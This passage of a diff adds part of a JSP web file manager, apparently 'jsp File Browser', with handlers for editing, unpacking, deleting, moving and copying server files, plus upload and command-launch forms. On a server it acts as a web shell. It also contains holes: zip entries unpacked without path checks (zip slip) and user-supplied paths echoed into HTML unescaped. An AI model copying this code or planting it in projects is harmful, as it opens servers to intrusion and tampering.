+ <center>
1375
+ <small>jsp File Browser version <%= VERSION_NR%> by <a href="http://www.vonloesch.de">www.vonloesch.de</a></small>
1376
+ </center>
1377
+ </body>
1378
+ </html>
1379
+ <%
1380
+ }
1381
+ }
1382
+ // Save or cancel the edited file
1383
+ else if (request.getParameter("nfile") != null) {
1384
+ File f = new File(request.getParameter("nfile"));
1385
+ if (request.getParameter("Submit").equals("Save")) {
1386
+ File new_f = new File(getDir(f.getParent(), request.getParameter("new_name")));
1387
+ if (!isAllowed(new_f, true)){
1388
+ request.setAttribute("error", "You are not allowed to access " + new_f.getAbsolutePath());
1389
+ }
1390
+ if (new_f.exists() && new_f.canWrite() && request.getParameter("Backup") != null) {
1391
+ File bak = new File(new_f.getAbsolutePath() + ".bak");
1392
+ bak.delete();
1393
+ new_f.renameTo(bak);
1394
+ }
1395
+ if (new_f.exists() && !new_f.canWrite()) request.setAttribute("error",
1396
+ "Cannot write to " + new_f.getName() + ", file is write protected.");
1397
+ else {
1398
+ BufferedWriter outs = new BufferedWriter(new FileWriter(new_f));
1399
+ StringReader text = new StringReader(request.getParameter("text"));
1400
+ int i;
1401
+ boolean cr = false;
1402
+ String lineend = "\n";
1403
+ if (request.getParameter("lineformat").equals("dos")) lineend = "\r\n";
1404
+ while ((i = text.read()) >= 0) {
1405
+ if (i == '\r') cr = true;
1406
+ else if (i == '\n') {
1407
+ outs.write(lineend);
1408
+ cr = false;
1409
+ }
1410
+ else if (cr) {
1411
+ outs.write(lineend);
1412
+ cr = false;
1413
+ }
1414
+ else {
1415
+ outs.write(i);
1416
+ cr = false;
1417
+ }
1418
+ }
1419
+ outs.flush();
1420
+ outs.close();
1421
+ }
1422
+ }
1423
+ request.setAttribute("dir", f.getParent());
1424
+ }
1425
+ //Unpack file to the current directory without overwriting
1426
+ else if (request.getParameter("unpackfile") != null) {
1427
+ File f = new File(request.getParameter("unpackfile"));
1428
+ String root = f.getParent();
1429
+ request.setAttribute("dir", root);
1430
+ if (!isAllowed(new File(root), true)){
1431
+ request.setAttribute("error", "You are not allowed to access " + root);
1432
+ }
1433
+ //Check if file exists
1434
+ else if (!f.exists()) {
1435
+ request.setAttribute("error", "Cannot unpack " + f.getName()
1436
+ + ", file does not exist");
1437
+ }
1438
+ //Check if directory is readonly
1439
+ else if (!f.getParentFile().canWrite()) {
1440
+ request.setAttribute("error", "Cannot unpack " + f.getName()
1441
+ + ", directory is write protected.");
1442
+ }
1443
+ //GZip
1444
+ else if (f.getName().toLowerCase().endsWith(".gz")) {
1445
+ //New name is old Name without .gz
1446
+ String newName = f.getAbsolutePath().substring(0, f.getAbsolutePath().length() - 3);
1447
+ try {
1448
+ byte buffer[] = new byte[0xffff];
1449
+ copyStreams(new GZIPInputStream(new FileInputStream(f)), new FileOutputStream(
1450
+ newName), buffer);
1451
+ }
1452
+ catch (IOException ex) {
1453
+ request.setAttribute("error", "Unpacking of " + f.getName()
1454
+ + " aborted. Error: " + ex);
1455
+ }
1456
+ }
1457
+ //Else try Zip
1458
+ else {
1459
+ try {
1460
+ ZipFile zf = new ZipFile(f);
1461
+ Enumeration entries = zf.entries();
1462
+ //First check whether a file already exist
1463
+ boolean error = false;
1464
+ while (entries.hasMoreElements()) {
1465
+ ZipEntry entry = (ZipEntry) entries.nextElement();
1466
+ if (!entry.isDirectory()
1467
+ && new File(root + File.separator + entry.getName()).exists()) {
1468
+ request.setAttribute("error", "Cannot unpack " + f.getName()
1469
+ + ", File " + entry.getName() + " already exists.");
1470
+ error = true;
1471
+ break;
1472
+ }
1473
+ }
1474
+ if (!error) {
1475
+ //Unpack File
1476
+ entries = zf.entries();
1477
+ byte buffer[] = new byte[0xffff];
1478
+ while (entries.hasMoreElements()) {
1479
+ ZipEntry entry = (ZipEntry) entries.nextElement();
1480
+ File n = new File(root + File.separator + entry.getName());
1481
+ if (entry.isDirectory()) n.mkdirs();
1482
+ else {
1483
+ n.getParentFile().mkdirs();
1484
+ n.createNewFile();
1485
+ copyStreams(zf.getInputStream(entry), new FileOutputStream(n),
1486
+ buffer);
1487
+ }
1488
+ }
1489
+ zf.close();
1490
+ request.setAttribute("message", "Unpack of " + f.getName()
1491
+ + " was successful.");
1492
+ }
1493
+ }
1494
+ catch (ZipException ex) {
1495
+ request.setAttribute("error", "Cannot unpack " + f.getName()
1496
+ + ", no valid zip file");
1497
+ }
1498
+ catch (IOException ex) {
1499
+ request.setAttribute("error", "Unpacking of " + f.getName()
1500
+ + " aborted. Error: " + ex);
1501
+ }
1502
+ }
1503
+ }
1504
+ // Delete Files
1505
+ else if ((request.getParameter("Submit") != null)
1506
+ && (request.getParameter("Submit").equals(DELETE_FILES))) {
1507
+ Vector v = expandFileList(request.getParameterValues("selfile"), true);
1508
+ boolean error = false;
1509
+ //delete backwards
1510
+ for (int i = v.size() - 1; i >= 0; i--) {
1511
+ File f = (File) v.get(i);
1512
+ if (!isAllowed(f, true)){
1513
+ request.setAttribute("error", "You are not allowed to access " + f.getAbsolutePath());
1514
+ error = true;
1515
+ break;
1516
+ }
1517
+ if (!f.canWrite() || !f.delete()) {
1518
+ request.setAttribute("error", "Cannot delete " + f.getAbsolutePath()
1519
+ + ". Deletion aborted");
1520
+ error = true;
1521
+ break;
1522
+ }
1523
+ }
1524
+ if ((!error) && (v.size() > 1)) request.setAttribute("message", "All files deleted");
1525
+ else if ((!error) && (v.size() > 0)) request.setAttribute("message", "File deleted");
1526
+ else if (!error) request.setAttribute("error", "No files selected");
1527
+ }
1528
+ // Create Directory
1529
+ else if ((request.getParameter("Submit") != null)
1530
+ && (request.getParameter("Submit").equals(CREATE_DIR))) {
1531
+ String dir = "" + request.getAttribute("dir");
1532
+ String dir_name = request.getParameter("cr_dir");
1533
+ String new_dir = getDir(dir, dir_name);
1534
+ if (!isAllowed(new File(new_dir), true)){
1535
+ request.setAttribute("error", "You are not allowed to access " + new_dir);
1536
+ }
1537
+ else if (new File(new_dir).mkdirs()) {
1538
+ request.setAttribute("message", "Directory created");
1539
+ }
1540
+ else request.setAttribute("error", "Creation of directory " + new_dir + " failed");
1541
+ }
1542
+ // Create a new empty file
1543
+ else if ((request.getParameter("Submit") != null)
1544
+ && (request.getParameter("Submit").equals(CREATE_FILE))) {
1545
+ String dir = "" + request.getAttribute("dir");
1546
+ String file_name = request.getParameter("cr_dir");
1547
+ String new_file = getDir(dir, file_name);
1548
+ if (!isAllowed(new File(new_file), true)){
1549
+ request.setAttribute("error", "You are not allowed to access " + new_file);
1550
+ }
1551
+ // Test, if file_name is empty
1552
+ else if (!"".equals(file_name.trim()) && !file_name.endsWith(File.separator)) {
1553
+ if (new File(new_file).createNewFile()) request.setAttribute("message",
1554
+ "File created");
1555
+ else request.setAttribute("error", "Creation of file " + new_file + " failed");
1556
+ }
1557
+ else request.setAttribute("error", "Error: " + file_name + " is not a valid filename");
1558
+ }
1559
+ // Rename a file
1560
+ else if ((request.getParameter("Submit") != null)
1561
+ && (request.getParameter("Submit").equals(RENAME_FILE))) {
1562
+ Vector v = expandFileList(request.getParameterValues("selfile"), true);
1563
+ String dir = "" + request.getAttribute("dir");
1564
+ String new_file_name = request.getParameter("cr_dir");
1565
+ String new_file = getDir(dir, new_file_name);
1566
+ if (!isAllowed(new File(new_file), true)){
1567
+ request.setAttribute("error", "You are not allowed to access " + new_file);
1568
+ }
1569
+ // The error conditions:
1570
+ // 1) Zero Files selected
1571
+ else if (v.size() <= 0) request.setAttribute("error",
1572
+ "Select exactly one file or folder. Rename failed");
1573
+ // 2a) Multiple files selected and the first isn't a dir
1574
+ // Here we assume that expandFileList builds v from top-bottom, starting with the dirs
1575
+ else if ((v.size() > 1) && !(((File) v.get(0)).isDirectory())) request.setAttribute(
1576
+ "error", "Select exactly one file or folder. Rename failed");
1577
+ // 2b) If there are multiple files from the same directory, rename fails
1578
+ else if ((v.size() > 1) && ((File) v.get(0)).isDirectory()
1579
+ && !(((File) v.get(0)).getPath().equals(((File) v.get(1)).getParent()))) {
1580
+ request.setAttribute("error", "Select exactly one file or folder. Rename failed");
1581
+ }
1582
+ else {
1583
+ File f = (File) v.get(0);
1584
+ if (!isAllowed(f, true)){
1585
+ request.setAttribute("error", "You are not allowed to access " + f.getAbsolutePath());
1586
+ }
1587
+ // Test, if file_name is empty
1588
+ else if ((new_file.trim() != "") && !new_file.endsWith(File.separator)) {
1589
+ if (!f.canWrite() || !f.renameTo(new File(new_file.trim()))) {
1590
+ request.setAttribute("error", "Creation of file " + new_file + " failed");
1591
+ }
1592
+ else request.setAttribute("message", "Renamed file "
1593
+ + ((File) v.get(0)).getName() + " to " + new_file);
1594
+ }
1595
+ else request.setAttribute("error", "Error: \"" + new_file_name
1596
+ + "\" is not a valid filename");
1597
+ }
1598
+ }
1599
+ // Move selected file(s)
1600
+ else if ((request.getParameter("Submit") != null)
1601
+ && (request.getParameter("Submit").equals(MOVE_FILES))) {
1602
+ Vector v = expandFileList(request.getParameterValues("selfile"), true);
1603
+ String dir = "" + request.getAttribute("dir");
1604
+ String dir_name = request.getParameter("cr_dir");
1605
+ String new_dir = getDir(dir, dir_name);
1606
+ if (!isAllowed(new File(new_dir), false)){
1607
+ request.setAttribute("error", "You are not allowed to access " + new_dir);
1608
+ }
1609
+ else{
1610
+ boolean error = false;
1611
+ // This ensures that new_dir is a directory
1612
+ if (!new_dir.endsWith(File.separator)) new_dir += File.separator;
1613
+ for (int i = v.size() - 1; i >= 0; i--) {
1614
+ File f = (File) v.get(i);
1615
+ if (!isAllowed(f, true)){
1616
+ request.setAttribute("error", "You are not allowed to access " + f.getAbsolutePath());
1617
+ error = true;
1618
+ break;
1619
+ }
1620
+ else if (!f.canWrite() || !f.renameTo(new File(new_dir
1621
+ + f.getAbsolutePath().substring(dir.length())))) {
1622
+ request.setAttribute("error", "Cannot move " + f.getAbsolutePath()
1623
+ + ". Move aborted");
1624
+ error = true;
1625
+ break;
1626
+ }
1627
+ }
1628
+ if ((!error) && (v.size() > 1)) request.setAttribute("message", "All files moved");
1629
+ else if ((!error) && (v.size() > 0)) request.setAttribute("message", "File moved");
1630
+ else if (!error) request.setAttribute("error", "No files selected");
1631
+ }
1632
+ }
1633
+ // Copy Files
1634
+ else if ((request.getParameter("Submit") != null)
1635
+ && (request.getParameter("Submit").equals(COPY_FILES))) {
1636
+ Vector v = expandFileList(request.getParameterValues("selfile"), true);
1637
+ String dir = (String) request.getAttribute("dir");
1638
+ if (!dir.endsWith(File.separator)) dir += File.separator;
1639
+ String dir_name = request.getParameter("cr_dir");
1640
+ String new_dir = getDir(dir, dir_name);
1641
+ if (!isAllowed(new File(new_dir), true)){
1642
+ request.setAttribute("error", "You are not allowed to access " + new_dir);
1643
+ }
1644
+ else{
1645
+ boolean error = false;
1646
+ if (!new_dir.endsWith(File.separator)) new_dir += File.separator;
1647
+ try {
1648
+ byte buffer[] = new byte[0xffff];
1649
+ for (int i = 0; i < v.size(); i++) {
1650
+ File f_old = (File) v.get(i);
1651
+ File f_new = new File(new_dir + f_old.getAbsolutePath().substring(dir.length()));
1652
+ if (!isAllowed(f_old, false)|| !isAllowed(f_new, true)){
1653
+ request.setAttribute("error", "You are not allowed to access " + f_new.getAbsolutePath());
1654
+ error = true;
1655
+ }
1656
+ else if (f_old.isDirectory()) f_new.mkdirs();
1657
+ // Overwriting is forbidden
1658
+ else if (!f_new.exists()) {
1659
+ copyStreams(new FileInputStream(f_old), new FileOutputStream(f_new), buffer);
1660
+ }
1661
+ else {
1662
+ // File exists
1663
+ request.setAttribute("error", "Cannot copy " + f_old.getAbsolutePath()
1664
+ + ", file already exists. Copying aborted");
1665
+ error = true;
1666
+ break;
1667
+ }
1668
+ }
1669
+ }
1670
+ catch (IOException e) {
1671
+ request.setAttribute("error", "Error " + e + ". Copying aborted");
1672
+ error = true;
1673
+ }
1674
+ if ((!error) && (v.size() > 1)) request.setAttribute("message", "All files copied");
1675
+ else if ((!error) && (v.size() > 0)) request.setAttribute("message", "File copied");
1676
+ else if (!error) request.setAttribute("error", "No files selected");
1677
+ }
1678
+ }
1679
+ // Directory viewer
1680
+ if (dir_view && request.getAttribute("dir") != null) {
1681
+ File f = new File("" + request.getAttribute("dir"));
1682
+ //Check, whether the dir exists
1683
+ if (!f.exists() || !isAllowed(f, false)) {
1684
+ if (!f.exists()){
1685
+ request.setAttribute("error", "Directory " + f.getAbsolutePath() + " does not exist.");
1686
+ }
1687
+ else{
1688
+ request.setAttribute("error", "You are not allowed to access " + f.getAbsolutePath());
1689
+ }
1690
+ //if attribute olddir exists, it will change to olddir
1691
+ if (request.getAttribute("olddir") != null && isAllowed(new File((String) request.getAttribute("olddir")), false)) {
1692
+ f = new File("" + request.getAttribute("olddir"));
1693
+ }
1694
+ //try to go to the parent dir
1695
+ else {
1696
+ if (f.getParent() != null && isAllowed(f, false)) f = new File(f.getParent());
1697
+ }
1698
+ //If this dir also do also not exist, go back to browser.jsp root path
1699
+ if (!f.exists()) {
1700
+ String path = null;
1701
+ if (application.getRealPath(request.getRequestURI()) != null) path = new File(
1702
+ application.getRealPath(request.getRequestURI())).getParent();
1703
+
1704
+ if (path == null) // handle the case were we are not in a directory (ex: war file)
1705
+ path = new File(".").getAbsolutePath();
1706
+ f = new File(path);
1707
+ }
1708
+ if (isAllowed(f, false)) request.setAttribute("dir", f.getAbsolutePath());
1709
+ else request.setAttribute("dir", null);
1710
+ }
1711
+ %>
1712
+ <script type="text/javascript" src="<%=browser_name %>?Javascript">
1713
+ </script>
1714
+ <title><%=request.getAttribute("dir")%></title>
1715
+ </head>
1716
+ <body>
1717
+ <%
1718
+ //Output message
1719
+ if (request.getAttribute("message") != null) {
1720
+ out.println("<table border=\"0\" width=\"100%\"><tr><td class=\"message\">");
1721
+ out.println(request.getAttribute("message"));
1722
+ out.println("</td></tr></table>");
1723
+ }
1724
+ //Output error
1725
+ if (request.getAttribute("error") != null) {
1726
+ out.println("<table border=\"0\" width=\"100%\"><tr><td class=\"error\">");
1727
+ out.println(request.getAttribute("error"));
1728
+ out.println("</td></tr></table>");
1729
+ }
1730
+ if (request.getAttribute("dir") != null){
1731
+ %>
1732
+
1733
+ <form class="formular" action="<%= browser_name %>" method="Post" name="FileList">
1734
+ Filename filter: <input name="filt" onKeypress="event.cancelBubble=true;" onkeyup="filter(this)" type="text">
1735
+ <br /><br />
1736
+ <table id="filetable" class="filelist" cellspacing="1px" cellpadding="0px">
1737
+ <%
1738
+ // Output the table, starting with the headers.
1739
+ String dir = URLEncoder.encode("" + request.getAttribute("dir"));
1740
+ String cmd = browser_name + "?dir=" + dir;
1741
+ int sortMode = 1;
1742
+ if (request.getParameter("sort") != null) sortMode = Integer.parseInt(request
1743
+ .getParameter("sort"));
1744
+ int[] sort = new int[] {1, 2, 3, 4};
1745
+ for (int i = 0; i < sort.length; i++)
1746
+ if (sort[i] == sortMode) sort[i] = -sort[i];
1747
+ out.print("<tr><th>&nbsp;</th><th title=\"Sort files by name\" align=left><a href=\""
1748
+ + cmd + "&amp;sort=" + sort[0] + "\">Name</a></th>"
1749
+ + "<th title=\"Sort files by size\" align=\"right\"><a href=\"" + cmd
1750
+ + "&amp;sort=" + sort[1] + "\">Size</a></th>"
1751
+ + "<th title=\"Sort files by type\" align=\"center\"><a href=\"" + cmd
1752
+ + "&amp;sort=" + sort[3] + "\">Type</a></th>"
1753
+ + "<th title=\"Sort files by date\" align=\"left\"><a href=\"" + cmd
1754
+ + "&amp;sort=" + sort[2] + "\">Date</a></th>"
1755
+ + "<th>&nbsp;</th>");
1756
+ if (!READ_ONLY) out.print ("<th>&nbsp;</th>");
1757
+ out.println("</tr>");
1758
+ char trenner = File.separatorChar;
1759
+ // Output the Root-Dirs, without FORBIDDEN_DRIVES
1760
+ File[] entry = File.listRoots();
1761
+ for (int i = 0; i < entry.length; i++) {
1762
+ boolean forbidden = false;
1763
+ for (int i2 = 0; i2 < FORBIDDEN_DRIVES.length; i2++) {
1764
+ if (entry[i].getAbsolutePath().toLowerCase().equals(FORBIDDEN_DRIVES[i2])) forbidden = true;
1765
+ }
1766
+ if (!forbidden) {
1767
+ out.println("<tr class=\"mouseout\" onmouseover=\"this.className='mousein'\""
1768
+ + "onmouseout=\"this.className='mouseout'\">");
1769
+ out.println("<td>&nbsp;</td><td align=left >");
1770
+ String name = URLEncoder.encode(entry[i].getAbsolutePath());
1771
+ String buf = entry[i].getAbsolutePath();
1772
+ out.println(" &nbsp;<a href=\"" + browser_name + "?sort=" + sortMode
1773
+ + "&amp;dir=" + name + "\">[" + buf + "]</a>");
1774
+ out.print("</td><td>&nbsp;</td><td>&nbsp;</td><td>&nbsp;</td><td>&nbsp;</td><td></td></tr>");
1775
+ }
1776
+ }
1777
+ // Output the parent directory link ".."
1778
+ if (f.getParent() != null) {
1779
+ out.println("<tr class=\"mouseout\" onmouseover=\"this.className='mousein'\""
1780
+ + "onmouseout=\"this.className='mouseout'\">");
1781
+ out.println("<td></td><td align=left>");
1782
+ out.println(" &nbsp;<a href=\"" + browser_name + "?sort=" + sortMode + "&amp;dir="
1783
+ + URLEncoder.encode(f.getParent()) + "\">" + FOL_IMG + "[..]</a>");
1784
+ out.print("</td><td>&nbsp;</td><td>&nbsp;</td><td>&nbsp;</td><td>&nbsp;</td><td></td></tr>");
1785
+ }
1786
+ // Output all files and dirs and calculate the number of files and total size
1787
+ entry = f.listFiles();
1788
+ if (entry == null) entry = new File[] {};
1789
+ long totalSize = 0; // The total size of the files in the current directory
1790
+ long fileCount = 0; // The count of files in the current working directory
1791
+ if (entry != null && entry.length > 0) {
1792
+ Arrays.sort(entry, new FileComp(sortMode));
1793
+ for (int i = 0; i < entry.length; i++) {
1794
+ String name = URLEncoder.encode(entry[i].getAbsolutePath());
1795
+ String type = "File"; // This String will tell the extension of the file
1796
+ if (entry[i].isDirectory()) type = "DIR"; // It's a DIR
1797
+ else {
1798
+ String tempName = entry[i].getName().replace(' ', '_');
1799
+ if (tempName.lastIndexOf('.') != -1) type = tempName.substring(
1800
+ tempName.lastIndexOf('.')).toLowerCase();
1801
+ }
1802
+ String ahref = "<a onmousedown=\"dis()\" href=\"" + browser_name + "?sort="
1803
+ + sortMode + "&amp;";
1804
+ String dlink = "&nbsp;"; // The "Download" link
1805
+ String elink = "&nbsp;"; // The "Edit" link
1806
+ String buf = conv2Html(entry[i].getName());
1807
+ if (!entry[i].canWrite()) buf = "<i>" + buf + "</i>";
1808
+ String link = buf; // The standard view link, uses Mime-type
1809
+ if (entry[i].isDirectory()) {
1810
+ if (entry[i].canRead() && USE_DIR_PREVIEW) {
1811
+ //Show the first DIR_PREVIEW_NUMBER directory entries in a tooltip
1812
+ File[] fs = entry[i].listFiles();
1813
+ if (fs == null) fs = new File[] {};
1814
+ Arrays.sort(fs, new FileComp());
1815
+ StringBuffer filenames = new StringBuffer();
1816
+ for (int i2 = 0; (i2 < fs.length) && (i2 < 10); i2++) {
1817
+ String fname = conv2Html(fs[i2].getName());
1818
+ if (fs[i2].isDirectory()) filenames.append("[" + fname + "];");
1819
+ else filenames.append(fname + ";");
1820
+ }
1821
+ if (fs.length > DIR_PREVIEW_NUMBER) filenames.append("...");
1822
+ else if (filenames.length() > 0) filenames
1823
+ .setLength(filenames.length() - 1);
1824
+ link = ahref + "dir=" + name + "\" title=\"" + filenames + "\">"
1825
+ + FOL_IMG + "[" + buf + "]</a>";
1826
+ }
1827
+ else if (entry[i].canRead()) {
1828
+ link = ahref + "dir=" + name + "\">" + FOL_IMG + "[" + buf + "]</a>";
1829
+ }
1830
+ else link = FOL_IMG + "[" + buf + "]";
1831
+ }
1832
+ else if (entry[i].isFile()) { //Entry is file
1833
+ totalSize = totalSize + entry[i].length();
1834
+ fileCount = fileCount + 1;
1835
+ if (entry[i].canRead()) {
1836
+ dlink = ahref + "downfile=" + name + "\">Download</a>";
1837
+ //If you click at the filename
1838
+ if (USE_POPUP) link = ahref + "file=" + name + "\" target=\"_blank\">"
1839
+ + buf + "</a>";
1840
+ else link = ahref + "file=" + name + "\">" + buf + "</a>";
1841
+ if (entry[i].canWrite()) { // The file can be edited
1842
+ //If it is a zip or jar File you can unpack it
1843
+ if (isPacked(name, true)) elink = ahref + "unpackfile=" + name
1844
+ + "\">Unpack</a>";
1845
+ else elink = ahref + "editfile=" + name + "\">Edit</a>";
1846
+ }
1847
+ else { // If the file cannot be edited
1848
+ //If it is a zip or jar File you can unpack it
1849
+ if (isPacked(name, true)) elink = ahref + "unpackfile=" + name
1850
+ + "\">Unpack</a>";
1851
+ else elink = ahref + "editfile=" + name + "\">View</a>";
1852
+ }
1853
+ }
1854
+ else {
1855
+ link = buf;
1856
+ }
1857
+ }
1858
+ String date = dateFormat.format(new Date(entry[i].lastModified()));
1859
+ out.println("<tr class=\"mouseout\" onmouseup=\"selrow(this, 2)\" "
1860
+ + "onmouseover=\"selrow(this, 0);\" onmouseout=\"selrow(this, 1)\">");
1861
+ if (entry[i].canRead()) {
1862
+ out.println("<td align=center><input type=\"checkbox\" name=\"selfile\" value=\""
1863
+ + name + "\" onmousedown=\"dis()\"></td>");
1864
+ }
1865
+ else {
1866
+ out.println("<td align=center><input type=\"checkbox\" name=\"selfile\" disabled></td>");
1867
+ }
1868
+ out.print("<td align=left> &nbsp;" + link + "</td>");
1869
+ if (entry[i].isDirectory()) out.print("<td>&nbsp;</td>");
1870
+ else {
1871
+ out.print("<td align=right title=\"" + entry[i].length() + " bytes\">"
1872
+ + convertFileSize(entry[i].length()) + "</td>");
1873
+ }
1874
+ out.println("<td align=\"center\">" + type + "</td><td align=left> &nbsp;" + // The file type (extension)
1875
+ date + "</td><td>" + // The date the file was created
1876
+ dlink + "</td>"); // The download link
1877
+ if (!READ_ONLY)
1878
+ out.print ("<td>" + elink + "</td>"); // The edit link (or view, depending)
1879
+ out.println("</tr>");
1880
+ }
1881
+ }%>
1882
+ </table>
1883
+ <input type="checkbox" name="selall" onClick="AllFiles(this.form)">Select all
1884
+ <p align=center>
1885
+ <b title="<%=totalSize%> bytes">
1886
+ <%=convertFileSize(totalSize)%></b><b> in <%=fileCount%> files in <%= dir2linkdir((String) request.getAttribute("dir"), browser_name, sortMode)%>
1887
+ </b>
1888
+ </p>
1889
+ <input type="hidden" name="dir" value="<%=request.getAttribute("dir")%>">
1890
+ <input type="hidden" name="sort" value="<%=sortMode%>">
1891
+ <input title="Download selected files and directories as one zip file" class="button" id="but_Zip" type="Submit" name="Submit" value="<%=SAVE_AS_ZIP%>">
1892
+ <% if (!READ_ONLY) {%>
1893
+ <input title="Delete all selected files and directories incl. subdirs" class="button" id="but_Del" type="Submit" name="Submit" value="<%=DELETE_FILES%>"
1894
+ onclick="return confirm('Do you really want to delete the entries?')">
1895
+ <% } %>
1896
+ <% if (!READ_ONLY) {%>
1897
+ <br />
1898
+ <input title="Enter new dir or filename or the relative or absolute path" class="textfield" type="text" onKeypress="event.cancelBubble=true;" id="text_Dir" name="cr_dir">
1899
+ <input title="Create a new directory with the given name" class="button" id="but_NDi" type="Submit" name="Submit" value="<%=CREATE_DIR%>">
1900
+ <input title="Create a new empty file with the given name" class="button" id="but_NFi" type="Submit" name="Submit" value="<%=CREATE_FILE%>">
1901
+ <input title="Move selected files and directories to the entered path" id="but_Mov" class="button" type="Submit" name="Submit" value="<%=MOVE_FILES%>">
1902
+ <input title="Copy selected files and directories to the entered path" id="but_Cop" class="button" type="Submit" name="Submit" value="<%=COPY_FILES%>">
1903
+ <input title="Rename selected file or directory to the entered name" id="but_Ren" class="button" type="Submit" name="Submit" value="<%=RENAME_FILE%>">
1904
+ <% } %>
1905
+ </form>
1906
+ <br />
1907
+ <div class="formular">
1908
+ <% if (ALLOW_UPLOAD) { %>
1909
+ <form class="formular2" action="<%= browser_name%>" enctype="multipart/form-data" method="POST">
1910
+ <input type="hidden" name="dir" value="<%=request.getAttribute("dir")%>">
1911
+ <input type="hidden" name="sort" value="<%=sortMode%>">
1912
+ <input type="file" class="textfield" onKeypress="event.cancelBubble=true;" name="myFile">
1913
+ <input title="Upload selected file to the current working directory" type="Submit" class="button" name="Submit" value="<%=UPLOAD_FILES%>"
1914
+ onClick="javascript:popUp('<%= browser_name%>')">
1915
+ </form>
1916
+ <%} %>
1917
+ <% if (NATIVE_COMMANDS) {%>
1918
+ <form class="formular2" action="<%= browser_name%>" method="POST">
1919
+ <input type="hidden" name="dir" value="<%=request.getAttribute("dir")%>">
1920
+ <input type="hidden" name="sort" value="<%=sortMode%>">
1921
+ <input type="hidden" name="command" value="">
1922
+ <input title="Launch command in current directory" type="Submit" class="button" id="but_Lau" name="Submit" value="<%=LAUNCH_COMMAND%>">
1923
+ </form><%
1924
+ }%>
1925
+ </div>
1926
+ <%}%>
1927
+ <hr>
1928
+ <center>
1929
+ <small>jsp File Browser version <%= VERSION_NR%> by <a href="http://www.vonloesch.de">www.vonloesch.de</a></small>
1930
+ </center>
1931
+ </body>
1932
+ </html><%
1933
+ }
1934
+ %>